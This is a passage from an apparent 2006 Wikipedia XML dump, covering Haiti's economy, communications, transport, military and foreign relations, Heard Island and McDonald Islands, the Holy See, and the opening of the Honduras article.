These numbers are highly speculative; many sources give vague ideas of the unemployment rating being (for example, in 2003) around 50%, giving the impression that the actual rate could be several percentage points higher or lower.  Still, given that the sources of this data has remained the same for the past 15 years, we can at least see a trend of unemployment staying high throughout this period, but rising sharply in the mid to late 90s peaking at 70% in 1999 (2000 CIA World Factbook is the source for that number), and then decreasing to the usual rates of around 50% in recent years.  We do not currently have data for the years since the political turmoil that resulted from the [[2004_Haiti_Rebellion#Controversy_over_Aristide.27s_election_in_2000|controversy over the 2000 elections]] or the [[2004 Haiti rebellion|2004 rebellion]], though it is widely known that unemployment has risen since then.

&lt;br style=&quot;clear:both&quot; /&gt;

==See also==
* [[Haiti]]
* [[List of Haitian companies]]

==Reference==
Much of this article is based on [[public domain]] material from the U.S. government.  See:
http://www.state.gov/r/pa/ei/bgn/1982.htm

1 - [http://www.cia.gov/cia/publications/factbook/geos/ha.html CIA World Factbook: Haiti]

2 - [http://countrystudies.us/haiti/48.htm Haiti Agriculture]

3 - [http://usinfo.state.gov/wh/Archive/2005/Aug/09-77560.html Inter-American Bank Grant To Benefit Haitian Coffee Growers]

4 - [http://search.epnet.com/login.aspx?direct=true&amp;db=f5h&amp;an=9049960 Haitian Free Trade Zone]

5 - [http://search.epnet.com/login.aspx?direct=true&amp;db=aph&amp;an=9302160607 IICA plants for Haiti's environment]

{{WTO}}

[[Category:WTO members|Haiti]]
[[Category:Economy of Haiti|*]]
[[Category:Economies by country|Haiti]]

[[es: Economía de Haití]]
[[fr:Économie de Haïti]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Haiti</title>
    <id>13379</id>
    <revision>
      <id>36141945</id>
      <timestamp>2006-01-21T23:05:24Z</timestamp>
      <contributor>
        <username>Lucia12</username>
        <id>579106</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Telephones - main lines in use:'''
115,000 (2005)

Télécommunications d'Haiti S.A.M. (Teleco), a 98%-government owned company, has a monopoly on the provision of landline services throughout the country.   Teleco has been constantly hobbled by political interference which has affected its performance. A net generator of revenues for the government in the 1970's and early 1980's, Teleco's demise started with the Prosper Avril government which spent Teleco's profits on politically-motivated campaigns and outright graft. The practice continued with the Aristide government.

'''Telephones - mobile cellular:'''
250,000 (2005)

Commmunications Cellulaires d'Haiti S.A. (Comcel) and Haiti Telecommunications International S.A. (Haitel) are the country's two providers of cellular phone services.

Comcel, a subsidiary of [http://www.alltel.com Alltel Inc], is a TDMA company which launched its service in September 1999. Haitel, an independent company founded by Franck Ciné, a Haitian-American and former MCI/Worldcom executive, adopted CDMA technology. Neither company offers nationwide service although they cover several major cities.

Digicel Haiti, an affiliate of the pan-Caribbean [http://www.digicelgroup.com Digicel Group] won Haiti's first GSM license in June 2005 and is expected to launch service in early 2006.

'''Telephone system:'''
Domestic facilities are barely adequate.  International facilities are slightly better
&lt;br&gt;''domestic:''
[[coaxial cable]] and microwave radio relay trunk service
&lt;br&gt;''international:''
satellite earth station - 1 [[Intelsat]] (Atlantic Ocean)

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 41, FM 26, shortwave 0 (1999)

'''Radios:'''
415,000 (1997)

'''[[Television]] broadcast stations:'''
2 (plus a cable TV system) (1997)

'''Televisions:'''
38,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
5 (2005)

'''[[Country code]] (Top-level domain):''' HT

:''See also :'' [[Haiti]]

[[Category:Communications by country|Haiti]]
[[Category:Communications in Haiti| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Haiti</title>
    <id>13380</id>
    <revision>
      <id>29276076</id>
      <timestamp>2005-11-26T09:53:38Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation in Haiti]] to [[Transport in Haiti]]</comment>
      <text xml:space="preserve">'''[[Railway]]s:'''
&lt;br&gt;''total:''
40 km (single track; privately owned industrial line) - closed in early 1990s
&lt;br&gt;''narrow gauge:''
40 km 0.760-m gauge

'''[[Highway]]s:'''
&lt;br&gt;''total:''
4,161 km
&lt;br&gt;''paved:''
1,011 km
&lt;br&gt;''unpaved:''
3,149 km (1996 est.)

'''Waterways:'''
NEGL; less than 100 km navigable

'''Ports and harbors:'''
[[Cap-Haitien]], [[Gonaïves]], [[Jacmel]], [[Jérémie]], [[Les Cayes]], [[Miragoane]], [[Port-au-Prince]], [[Port-de-Paix]], [[Saint-Marc]]

'''[[Merchant marine]]:'''
none (1999 est.)

'''[[Airport]]s:'''
13 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
3
&lt;br&gt;''2,438 to 3,047 m:''
1
&lt;br&gt;''1,524 to 2,437 m:''
1
&lt;br&gt;''914 to 1,523 m:''
1 (1999 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
10
&lt;br&gt;''914 to 1,523 m:''
5
&lt;br&gt;''under 914 m:''
5 (1999 est.)

:''See also :'' [[Haiti]]

[[Category:Transport in Haiti| ]]
[[Category:Transportation by country|Haiti]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Haiti</title>
    <id>13381</id>
    <revision>
      <id>29276257</id>
      <timestamp>2005-11-26T10:00:03Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <comment>adjusted categorisation</comment>
      <text xml:space="preserve">Since 1995, when the HNP was created to bring public security under [[civilian control of the military|civilian control]] as mandated in Haiti's constitution, more than 6,000 police officers have completed training in modern law enforcement. U.S. instructors from the [[International Criminal Investigative Training Assistance Program]] (ICITAP) have provided much of that general training. Specialized training in such areas as crowd control, operation of firearms, and VIP protection has been provided by ICITAP, whose experts have also worked closely with the Haitian Government in meeting the material needs of the new force; ICITAP closed in September 2000.

Through its [[Administration of Justice]] (AOJ) program, the U.S. has helped support the independence and competency of Haiti's judicial branch through the training of hundreds of Haitian judges and prosecutors, particularly at the Magisterial Training School established in 1995. The AOJ program ended in July 2000, upon expiration of a bilateral assistance agreement between the [[United States]] and the Government of Haiti. During its tenure, the AOJ program also provided free legal assistance for thousands of impoverished Haitians, and has helped obtain the release of hundreds of people detained without trial. U.S. reform programs have included the participation of non-governmental organizations, particularly to encourage conflict resolution and mediation programs that alleviate pressure on the still-overmatched judicial system. In spite of these initiatives, Haiti's judicial system remains severely troubled -- lacking the modern facilities, properly trained officials, and resources it requires to be able to meet the demands placed upon it. The Carrefour Feuilles trial in September 2000 and the Raboteau trial in November 2000 evidenced significant improvements in the judicial system's capacity. Nevertheless, Haiti's system remains in need of continued reform and strengthening.

'''Military branches:'''
Haitian National Police (HNP)
&lt;br&gt;''note:''
the regular Haitian Army, Navy, and Air Force have been demobilized but still exist on paper until constitutionally abolished

'''Military manpower - military age:'''
18 years of age

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
1,579,897 (2000 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
857,666 (2000 est.)

'''Military manpower - reaching military age annually:'''
&lt;br&gt;''males:''
83,863 (2000 est.)

'''Military expenditures - dollar figure:'''
$NA ; note - mainly for police and security activities

'''Military expenditures - percent of GDP:'''
NA%

'''Military - note:'''
the Haitian Armed Forces have been demobilized and replaced by the Haitian National Police

==References and Links==
*[[Haiti]]
[[Category:Government of Haiti]]
[[Category:Militaries|Haiti]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Haiti</title>
    <id>13382</id>
    <revision>
      <id>41858266</id>
      <timestamp>2006-03-02T04:43:17Z</timestamp>
      <contributor>
        <username>XLR8TION</username>
        <id>132585</id>
      </contributor>
      <text xml:space="preserve">[[Haiti]] is one of the original members of the [[United Nations]] and several of its specialized and related agencies, as well as a member of the [[Organization of American States]] (OAS). It maintains diplomatic relations with 37 countries, including the [[Republic of China]] (Taiwan) instead of the [[People's Republic of China]].

The international community rallied to Haiti's defense during the 1991-94 period of illegal military rule. Thirty-one countries participated in the U.S.-led Multinational Force (MNF) which, acting under UN auspices, intervened in September 1994 to help restore the legitimate government and create a secure and stable environment in Haiti. At its peak, the MNF included roughly 21,000 troops, mostly Americans, and more than 1,000 international police monitors. Within six months, the troop level was gradually reduced as the MNF transitioned to a 6,000 strong peacekeeping force, the [[UN Mission in Haiti]] (UNMIH). UNMIH was charged with maintaining the secure environment, which the MNF had helped establish, as well as nurturing Haiti's new police force through the presence of 900 police advisors. A total of 38 countries participated in UNMIH.

In order to spur Haiti's social and economic recovery from 3 years of de facto military rule and decades of misrule before that, international development banks and donor agencies pledged in 1994 to provide over $2 billion in assistance by 1999. Disbursements were largely conditioned on progress in economic reform. Parliamentary inaction, principally as a result of the political struggles and gridlock that plagued Haiti since 1996, resulted in the blockage of much of this assistance as disbursement conditions were not met. The electoral crisis that has brewed in the aftermath of the May 21, 2000 local and parliamentary elections has resulted in the blockage of most multilateral and bilateral assistance. Major donors are led by the [[United States]], with the largest bilateral assistance program, and also include [[Canada]], [[France]], [[Germany]], [[Japan]], and Taiwan. Multilateral aid is coordinated through an informal grouping of major donors under the auspices of the [[World Bank]] which, in addition to the [[Inter-American Development Bank]] (IDB) and the [[European Union]], is also a major source of Haitian development assistance.

As a result of their recognition of [[Taiwan]], the Haitian government has made it a requirement for citizens of [[People%27s_Republic_of_China|People's Republic of China]] to have visas to visit and conduct business in the country.  Due to generous amount of foreign aid from Taiwan, this requirement is unlikely to change anytime in the near future. Visas are also required for citizens of [[Colombia]] and [[Panama]] due to the actions of nationals of those two countries in using Haiti as a drop-off point for narcotic drugs bound for the [[United States]]. Panama's proximity to Colombia and their thriving off-shore banking industry has lured many traffickers to use that nation and Haiti as bases for their activities.  Citizens of the [[Dominican Republic]] also require visas to visit Haiti, not only due to the hostile, sometimes volatile relations between both nations, but also because since the late 1990's, the Dominican Republic has become another base for illicit drugs bound for the United States, which usually enter illegally via [[Puerto Rico]].  Once in Puerto Rico, drugs can easiliy reach the United States due to the absence of both immigration and customs between the island and the mainland. [http://www.haiti.org/general_information/visa.htm] 

'''Disputes - international:'''
claims US-administered [[Navassa Island]]

'''Illicit drugs:'''
major Caribbean transshipment point for [[cocaine]] en route to the US and Europe

==External links==
* [http://www.haitianconsulate-nyc.org/index_en.html   Consulate General of Haiti in New York City, USA (in English/French)]
* [http://www.diplomatie.gouv.fr/fr/pays-zones-geo_833/haiti_513/index.html   Embassy of France in Port-au-Prince, Haiti (in French)]
* [http://www.embhaiti.cu/Espanol/index.htm  Embassy of Haiti in Havana, Cuba (in Spanish/French)]
* [http://www.haiti.org   Embassy of Haiti in Washington, D.C.(in English/French)]
* [http://www.un.int/haiti    Permanent Mission of Haiti to the United Nations  (in English/French)]
* [http://haiti.usembassy.gov   United States Embassy in Port-au-Prince, Haiti (in English/French)]


[[Category:Foreign relations of Haiti| ]]</text>
    </revision>
  </page>
  <page>
    <title>Heard Island and McDonald Islands</title>
    <id>13383</id>
    <revision>
      <id>42115146</id>
      <timestamp>2006-03-03T22:44:24Z</timestamp>
      <contributor>
        <username>Vinegar</username>
        <id>972033</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{wikinews|Volcanic activity expands McDonald Island off Australia}}
[[Image:Orthographic projection centred over the Heard Islands.png|right|thumb|182px|Orthographic projection centred over the Heard Islands]]

'''Heard Island and McDonald Islands''' (HIMI) are uninhabited, barren islands located in the [[Southern Ocean]] at {{coor dm|53|00|S|73|00|E|}}, about two-thirds of the way from [[Madagascar]] to [[Antarctica]].  They have been part of [[Australia]] since [[1947]], and contain the only two [[active volcano]]es in Australian territory, one of which, [[Mawson Peak]], is the highest Australian mountain. The Group's Size Is 372&amp;nbsp;[[square kilometre|km²]] in area.

==Geography==
'''Heard Island''' ( 368&amp;nbsp;[[square kilometre|km²]] ) is bleak and mountainous, covered in glaciers and dominated by [[Mawson Peak]], a 2745-&amp;nbsp;[[metre]]-high [[volcano]] which forms part of the [[Big Ben (Heard Island)|Big Ben]] [[massif]]. Heard Island is located at {{coor dms|53|06|00|S|073|31|00|E|}}. Mawson Peak is the highest Australian mountain (527m higher than Mount Kosciuszko), and one of only 2 [[active volcano]]es in Australian territory.

The other [[active volcano]] in Australian territory is on McDonald Island: after being dormant for 75,000 years, it erupted in 1992 and has erupted again several times since, its most recent eruption being on [[10 August]] [[2005]].

'''McDonald Islands''', located 44 km to the west of Heard Island, are small and rocky. McDonald Islands are located at {{coor dms|53|03|00|S|72|37|00|E|}}. They consist of McDonald Island (230 m high), Flat Island (55 m high) and Meyer Rock (170 m high).  They total approximately 2.5&amp;nbsp;[[square kilometre|km²]] in area and, as with Heard Island, are surface exposures of the [[Kerguelen Plateau]]. 

There is a small group of islets and rocks about 10 km north of Heard Island, consisting of Shag Islet, Sail Rock, Morgan Island and Black Rock. They total approximately 1.1&amp;nbsp;[[square kilometre|km²]] in area. 

Heard Island and the McDonald Islands have no ports or harbors.

==Administration and economy==
The islands are a territory of [[Australia]] administered from [[Hobart]] by the [[Australian Antarctic Division]] of the Australian [[Department of the Environment and Heritage (Australia)|Department of the Environment and Heritage]]. They are populated by large numbers of [[seal (mammal)|seal]] and [[bird]] species. The islands are contained within a 65, 000 square kilometer marine reserve and are primarily visited for research. 

From [[1947]] until the 1950's there were camps of visiting scientists on Heard Island (at Atlas Cove) and in [[1971]] on McDonald Island (at Williams Bay).

There is no economic activity, but they have been assigned the [[country code]] HM and [[Internet]] [[top-level domain]] [[.hm]].
&lt;br clear=&quot;all&quot;&gt;

== History ==
[[Image:Heard_Island.jpg|right|thumb|400px|Heard Island, from [[NASA]] [[World Wind]]]]
[[Image:Heard_Island_McDonald_Islands.png|right|thumb|182px|Map from ''[[The World Factbook]]'']]
Heard Island did not have visitors until the mid-1850s. It is probable that no human had ever seen the Island until this time. Peter Kemp, a British sealer (seal hunter), was the first person thought to have seen the island on [[November 27]], [[1833]], from the [[brig]] ''Magnet'' during a voyage from [[Kerguelen]] to the Antarctic and was believed to have entered the island in his [[1833]] chart.

Captain John Heard, an American sealer on the ship ''Oriental'', sighted the island on [[November 25]], [[1853]], en route from [[Boston, Massachusetts|Boston]] to [[Melbourne]].  He reported the discovery one month later and had the island named after him.  Coincidentally, Captain William McDonald aboard the ''Samarang'' discovered the McDonald Islands close to Heard Island shortly afterwards on [[January 4]], [[1854]].

No landing was made on the islands until March [[1855]], when sealers from the ''Corinthian'' led by Captain Erasmus Darwin Rogers went ashore, at a place called oil barrel point. In the sealing period from 1855&amp;ndash;1880, a number of [[United States|American]] sealers spent a year or more on the island, living in appalling conditions in dark smelly huts, also at oil barrel point.  At its peak the community populated 200 people. By 1880, most of the seal population had been wiped out and the sealers left the island. In all, more than 100,000 barrels of [[elephant seal]] oil was produced during this period.

There are a number of wrecks in the vicinity of the islands.

The islands have been part of [[Australia]] since [[1947]], and became a [[World Heritage Site]] in [[1997]].


== Trivia ==
The McDonalds Islands share a namesake with a worldwide famous fast food restaurant.

==See also==
*[[Sub-antarctic isla''nds]]

==External links==
*[http://www.heardisland.aq Heard Island and McDonald Islands official website]
*[http://www.cia.gov/cia/publications/factbook/geos/hm.html CIA World Factbook entry]
*[http://modis.gsfc.nasa.gov/gallery/individual.php?db_date=2004-10-05 MODIS satellite image], taken [[September 30]], [[2004]] and showing a [[Theodore von Kármán|von Kármán]] [[Von Kármán vortex street|vortex street]] in the clouds, caused by Mawson Peak's effect on the wind
*[http://www.deh.gov.au/coasts/mpa/heard/ Heard Island and McDonald Islands Marine Reserve page on Department of the Environment and Heritage website]
*[http://whc.unesco.org/pg.cfm?cid=31&amp;id_site=577 World Heritage Site entry]
*[http://www.btinternet.com/~sa_sa/heard_island/heard.html Fan's page] with further historical and geographic information and a map
*[http://www.travel-images.com/heard-mcdonald.html Image gallery]
*[http://www.hidxa.nlk.nf Heard Island DX Association] [[amateur radio]] site
*[http://www.infoplease.com/spot/desertisland7.html HMI at Infoplease]

{{Australia}}
{{Template:World Heritage Sites In Australia}}

&lt;!--interwiki--&gt;

[[Category:Islands of Australia]]
[[Category:Sub-antarctic islands]]
[[Category:World Heritage Sites in Australia]]

[[cs:Heardův ostrov a McDonaldovy ostrovy]]
[[de:Heard- und McDonald-Inseln]]
[[es:Islas Heard y McDonald]]
[[fr:Îles Heard et McDonald]]
[[he:האי הרד ואיי מקדונלד]]
[[ja:ハード島とマクドナルド諸島]]
[[nl:Heard- en McDonaldeilanden]]
[[no:Heard- og McDonaldsøyene]]
[[pl:Wyspy Heard i McDonalda]]
[[pt:Ilha Heard e Ilhas McDonald]]
[[simple:Heard Island and the McDonald Islands]]
[[sl:Otok Heard in otočje McDonald]]
[[sv:Heard- och McDonaldsöarna]]
[[tr:Heard Adası ve McDonald Adaları]]</text>
    </revision>
  </page>
  <page>
    <title>Heard Island and McDonald Islands/History</title>
    <id>13384</id>
    <revision>
      <id>15910999</id>
      <timestamp>2002-08-20T17:12:38Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Heard Island and McDonald Islands]]</text>
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  <page>
    <title>Heard Island and McDonald Islands/Geography</title>
    <id>13385</id>
    <revision>
      <id>15911000</id>
      <timestamp>2002-09-07T16:20:40Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Heard Island and McDonald Islands]] -- merged</comment>
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  <page>
    <title>Heard Island and McDonald Islands/People</title>
    <id>13386</id>
    <revision>
      <id>15911001</id>
      <timestamp>2002-08-20T17:12:26Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
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  <page>
    <title>Heard Island and McDonald Islands/Government</title>
    <id>13387</id>
    <revision>
      <id>15911002</id>
      <timestamp>2002-09-07T16:20:37Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Heard Island and McDonald Islands]] -- merged</comment>
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  <page>
    <title>Economy of Heard Island and McDonald Islands</title>
    <id>13388</id>
    <revision>
      <id>15911003</id>
      <timestamp>2002-09-07T16:20:33Z</timestamp>
      <contributor>
        <username>The Epopt</username>
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    <title>Heard Island and McDonald Islands/Communications</title>
    <id>13389</id>
    <revision>
      <id>15911004</id>
      <timestamp>2002-09-07T16:20:29Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
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  <page>
    <title>Heard Island and McDonald Islands/Transportation</title>
    <id>13390</id>
    <revision>
      <id>15911005</id>
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        <username>The Epopt</username>
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    <title>Heard Island and McDonald Islands/Military</title>
    <id>13391</id>
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      <id>15911006</id>
      <timestamp>2002-09-07T16:20:21Z</timestamp>
      <contributor>
        <username>The Epopt</username>
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      <comment>#REDIRECT [[Heard Island and McDonald Islands]] -- merged</comment>
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  <page>
    <title>Heard Island and McDonald Islands/Transnational issues</title>
    <id>13392</id>
    <revision>
      <id>15911007</id>
      <timestamp>2002-08-30T19:39:30Z</timestamp>
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        <username>The Epopt</username>
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  </page>
  <page>
    <title>Holy See</title>
    <id>13393</id>
    <revision>
      <id>41325444</id>
      <timestamp>2006-02-26T16:21:24Z</timestamp>
      <contributor>
        <username>Pmadrid</username>
        <id>80772</id>
      </contributor>
      <comment>/* Diplomacy of the Holy See */ the holy see is not a state</comment>
      <text xml:space="preserve">[[Image:holysee-arms.png|thumb|right|The [[coat of arms]] of the Holy See]]
The '''Holy See''' ([[Latin]]: ''Sancta Sedes'', lit. &quot;holy seat&quot;) is the [[episcopal see]] of [[Rome]].  The incumbent of this see is the [[Bishop of Rome]], more commonly referred to as the [[Pope]].  The term '''Holy See''', as used in [[canon law]], also refers to the Pope and the [[Roman Curia]]&amp;mdash;in effect, the central government of the [[Roman Catholic Church]]&amp;mdash;and is the sense more widely used today.

The Holy See is also called the &quot;[[Apostolic See]]&quot;, although this name properly refers to any see founded by the [[Apostle|Apostles]] and especially to the three original [[patriarch|patriarchal]] sees of [[Rome]] ([[St. Peter|St. Peter]] and [[Paul of Tarsus|Paul]]), [[Alexandria]] ([[St. Mark]]) and [[Antioch]] (St. Peter). Later [[Constantinople]], allegedly founded by [[St. Andrew]], and [[Jerusalem]], restored after its period as a pagan city, were also numbered among the [[patriarch|patriarchal]] sees. The five sees were ranked in descending order of precedence: Rome, Constantinople, Alexandria, Antioch, Jerusalem.

Aside from Rome, the [[archbishop|archiepiscopal]] [[Archbishopric of Mainz|See of Mainz]], which was also of [[prince-elector|electoral]] and [[primate (religion)|primatial]] rank, is the only other see referred to as the &quot;Holy See,&quot; although this usage is rather less common.

== Organization of the Holy See ==
The Pope governs the Church through the [[Roman Curia]]. The Roman Curia consists of the [[Secretariat of State (Vatican)]], nine [[Congregation (Roman Curia)|Congregations]], three [[Ecclesiastical court|Tribunal]]s, 11 [[Pontifical Council]]s, and a complex of offices that administer church affairs at the highest level. The Secretariat of State, under the Cardinal Secretary of State, directs and coordinates the Curia. The current incumbent, [[Angelo Cardinal Sodano]], is the Holy See's equivalent of a prime minister. Archbishop [[Giovanni Lajolo]], Secretary of the [[Section for Relations With States]] of the Secretariat of State acts as the Holy See's foreign minister. Sodano and Lajolo served in their respective roles under [[Pope John Paul II]] and were then reappointed to those same roles by [[Pope Benedict XVI]].

Among the most active of the major Curial institutions are the [[Congregation for the Doctrine of the Faith]], which oversees church doctrine; the [[Congregation for Bishops]], which coordinates the appointment of bishops worldwide; the [[Congregation for the Evangelization of Peoples]], which oversees all missionary activities; and the [[Pontifical Council for Justice and Peace]], which deals with international peace and social issues.

Three tribunals are responsible for judicial power. The [[Sacra Rota]] is responsible for normal appeals, including annulments of marriage, with the [[Apostolic Signatura]] being the administrative court of appeal and highest ecclesiastical court.  The [[Apostolic Penitentiary]] is different from those two and, instead of dealing with contentious cases, issues absolutions, dispensations, and indulgences.

The [[Prefecture for Economic Affairs]] coordinates the finances of the Holy See departments and supervises the administration of the Patrimony of the Holy See, an investment fund dating back to the [[Lateran Pacts]]. A committee of 15 cardinals, chaired by the Secretary of State, has final oversight authority over all financial matters of the Holy See, including those of the [[Institute for Works of Religion]], the Vatican bank. The [[Prefecture for the Pontifical Household]] is responsible for papal ceremonies and the daily work and life of the Pope.

Like any episcopal see, the Holy See does not dissolve upon the death or resignation of the reigning Pope.  It instead operates under a different set of laws ''[[sede vacante]]''.  During this interregnum, the heads of the [[dicasteries]] of the Roman Curia (such as the prefects of congregations) cease to hold office immediately, the only exceptions being the [[Major Penitentiary]], who continues his important role regarding absolutions and dispensations, and the [[Camerlengo|Cardinal Camerlengo]], who administers the temporalities (''i.e.'', properties and finances) of the Holy See during this period.  The government of the Holy See (and therefore of the Roman Catholic Church) then falls to the [[College of Cardinals]].  [[Canon law]] prohibits the College and the Camerlengo from introducing any innovations or novelties in the government of the Church during this period.

== Diplomacy of the Holy See ==
Since medieval times the Holy See has been recognized as a [[legal entity|legal personality]] under [[international law]].  The Holy See maintains formal diplomatic relations with [http://www.vatican.va/news_services/press/documentazione/documents/corpo-diplomatico_index_en.html 174 sovereign states], the [[European Union]], and the [[Order of Malta]]; 69 of these maintain permanent resident diplomatic missions accredited to the Holy See in Rome. The rest have missions with dual accreditation outside Italy, as the Holy See does ''not'' accept dual accreditation with an embassy located in Italy. It also has relations of a special nature with [[Russia]] (Mission with an Ambassador) and the [[Palestine Liberation Organization]] (Office with a Director). The Holy See maintains 179 permanent diplomatic missions abroad (106 of which are accredited to sovereign states). The diplomatic activities of the Holy See are performed by the [[Secretariat of State (Vatican)|Secretariat of State]] (headed by the [[Cardinal Secretary of State]]), through the Section for Relations with States.

The Holy See is the only [[Europe]]an [[subject of international law]] to formally recognize the [[Republic of China]] (Taiwan). It is the longest lasting diplomatic ally of the ROC, having held official relations since [[1942]]. Talks between the [[People's Republic of China]] and the Holy See on diplomatic recognition have been ongoing, with the main issue the treatment of Chinese Catholics.  The PRC government controls a [[Chinese Catholic Association]] which does not recognize the authority of Rome and the PRC has officially banned an underground Catholic Church which does recognize the Holy See's authority.

=== International organizations ===
The Holy See is especially active in international organizations. The Holy See is a permanent observer in the [[United Nations]], and in July, 2004, gained all the rights of full membership except voting. According to Archbishop [[Celestino Migliore]], Holy See Permanent Observer, &quot;We have no vote because this is our choice.&quot; He added that the Holy See considers that its current status &quot;is a fundamental step that does not close any path for the future. The Holy See has the requirements defined by the UN statute to be a member state and, if in the future it wished to be so, this resolution would not impede it from requesting it.&quot;

*[[Organization of American States]] (OAS) in [[Washington, DC|Washington]]
*[[Organization of African Unity]] (OAU)
*[[World Tourist Organization]] (WToO)
*[[World Trade Organization]] (WTO)
*[[World Health Organization]] (WHO)
*[[World Food Programme]] (WFP)
*[[United Nations Educational, Scientific and Cultural Organization]] (UNESCO)
*[[United Nations Environment Programme]] (UNEP)
*[[United Nations International Drug Control Programme]] (UNDCP)
*[[United Nations Centre for Human Settlements]] (UNCHS)
*[[Latin Union]] (LU)
*[[International Organization for Migration]] (IOM)
*[[International Labour Organization]] (ILO)
*[[International Fund for Agricultural Development]] (IFAD)
*[[United Nations Food and Agriculture Organization]] (FAO).

The Holy See is also an observer on an informal basis of the following groups:
*[[World Meteorological Organization]] in [[Geneva]] (WMO)
*[[United Nations Committee of Peaceful Use of Outer Space]] (UNCOPUOS)
*[[International Strategy for Disaster Reduction]] (ISDR)
*[[International Maritime Organization]] (IMO)
*[[African Asian Legal Consultative Committee]] (AALCC)
*[[International Civil Aviation Organization]] (ICAO)

The Holy See is a member of the following groups:
*[[Organization for the Prohibition of Chemical Weapons]] (OPCW)
*[[Organization for Security and Cooperation in Europe]] (OSCE)
*[[International Telecommunication Union]] (ITU)
*[[International Telecommunication Satellite Organization]] (ITSO)
*[[World Intellectual Property Organization]] (WIPO)
*[[Universal Postal Union]] (UPU), [[International Institute for the Unification of Private Law]] (UNIDROIT)
*[[United Nations High Commissioner for Refugees]] (UNHCR), [[United Nations Conference on Trade and Development]] (UNCTAD)
*[[International Grains Council]] (IGC)
*[[International Committee for Military Medicine]] (ICMM)
*[[International Atomic Energy Agency]] (IAEA)
*[[Preparatory Commission for the Comprehensive Nuclear Test Ban Treaty Organization]] (CTBTO). 

In 1971, the Holy See announced the decision to adhere to the nuclear [[Non-Proliferation Treaty]] in order to &quot;give its moral support to the principles that form the base of the treaty itself.&quot; It is also a guest of honour to the [[Parliamentary Assembly of the Organization for Security and Cooperation in Europe]].

Furthermore, the Holy See has a delegate to the [[Arab League]] in [[Cairo]] (AL).

== Relationship with the Vatican City ==
Although the Holy See is closely associated with the [[Vatican City]], the independent territory over which the Holy See is [[sovereign]], the two entities are separate and distinct.  After the [[Italy|Italian]] takeover of the [[Papal States]] in [[1870]], there was some uncertainty among [[jurist]]s as to whether the Holy See, without territorial sovereignty, could continue to act as an independent personality in international matters. The State of the Vatican City was created by the [[Lateran treaties]] in [[1929]] to &quot;insure the absolute and visible independence of the Holy See&quot; and &quot;to guarantee to it an indisputable sovereignty in international affairs&quot; (quotes from the treaty). Archbishop [[Jean-Louis Tauran]], the Holy See's former Secretary for Relations with States, said that the Vatican City is a &quot;miniscule support-state that guarantees the spiritual freedom of the Pope with the minimum territory&quot;. [http://www.vatican.va/roman_curia/secretariat_state/documents/rc_seg-st_doc_20020422_tauran_en.html]

The Holy See, not the Vatican City,  maintains diplomatic relations with states (such as with the [[British Ambassadors to the Holy See|United Kingdom]]), and participates in international organizations.  Foreign [[embassy|embassies]] are accredited to the Holy See rather than to the Vatican City, and it is the Holy See that establishes [[treaty|treaties]] and [[concordat]]s with other sovereign entities.  When necessary, the Holy See will enter a treaty on behalf of the Vatican City.

== See also ==
* [[History of the Papacy]]
* [[History of the Vatican City]]
* [[Roman Curia]]
* [[Nuncio]]
* [[Pope Benedict XVI]]
* [[Vatican City]]

==External links==
* [http://www.vatican.va/ The Holy See Website]
* [http://www.cin.org/users/jgallegos/primacy.htm Primacy of the Apostolic See]
* [http://www.cia.gov/cia/publications/factbook/geos/vt.html CIA World Factbook on Holy See]
* [http://www.holyseemission.org/  Permanent Observer Mission of the Holy See to the United Nations] 
* [http://www.embassy.gov.au/va.html Australian Embassy in The Holy See]
* [http://www.dfait-maeci.gc.ca/canadaeuropa/HolySee/  Canadian Embassy to the Holy See]
* [http://www.britishembassy.gov.uk/servlet/Front?pagename=OpenMarket/Xcelerate/ShowPage&amp;c=Page&amp;cid=1107296209980   British Embassy to the Holy See]
* [http://www.czechembassy.org/wwwo/default.asp?idj=2&amp;amb=84 The Embassy of the Czech Republic at the Holy See in Vatican]
* [http://vatican.usembassy.it United States Embassy to the Holy See]

{{Papal symbols and ceremonial}}

[[Category:Canon law]]
[[Category:Holy See]]

[[da:Den Hellige Stol]]
[[de:Heiliger Stuhl]]
[[es:Santa Sede Apostólica]]
[[fi:Pyhä istuin]]
[[fr:Saint-Siège]]
[[it:Santa Sede]]
[[ka:წმინდა საყდარი]]
[[la:Sancta Sedes]]
[[nl:Heilige Stoel]]
[[no:Den hellige stol]]
[[pl:Stolica Apostolska]]
[[pt:Santa Sé]]
[[ro:Sfântul Scaun]]
[[ru:Папский престол]]
[[sv:Heliga stolen]]
[[vi:Toà Thánh]]</text>
    </revision>
  </page>
  <page>
    <title>Honduras</title>
    <id>13394</id>
    <revision>
      <id>42119116</id>
      <timestamp>2006-03-03T23:14:44Z</timestamp>
      <contributor>
        <ip>216.227.124.123</ip>
      </contributor>
      <comment>/* Politics */</comment>
      <text xml:space="preserve">{{Template:Honduras infobox}}
The '''Republic of Honduras''' is a country in [[Central America]], bordered to the west by [[Guatemala]], to the south west by [[El Salvador]], to the south east by [[Nicaragua]], to the south by the [[Pacific Ocean]], to the north by the [[Gulf of Honduras]] and the [[Caribbean Sea]], with [[Belize]] (formerly British Honduras) situated 75 [[kilometre|km]] away across the Gulf of Honduras.

==History==
''Main articles: [[History of Honduras]], [[Timeline of Honduran history]]''

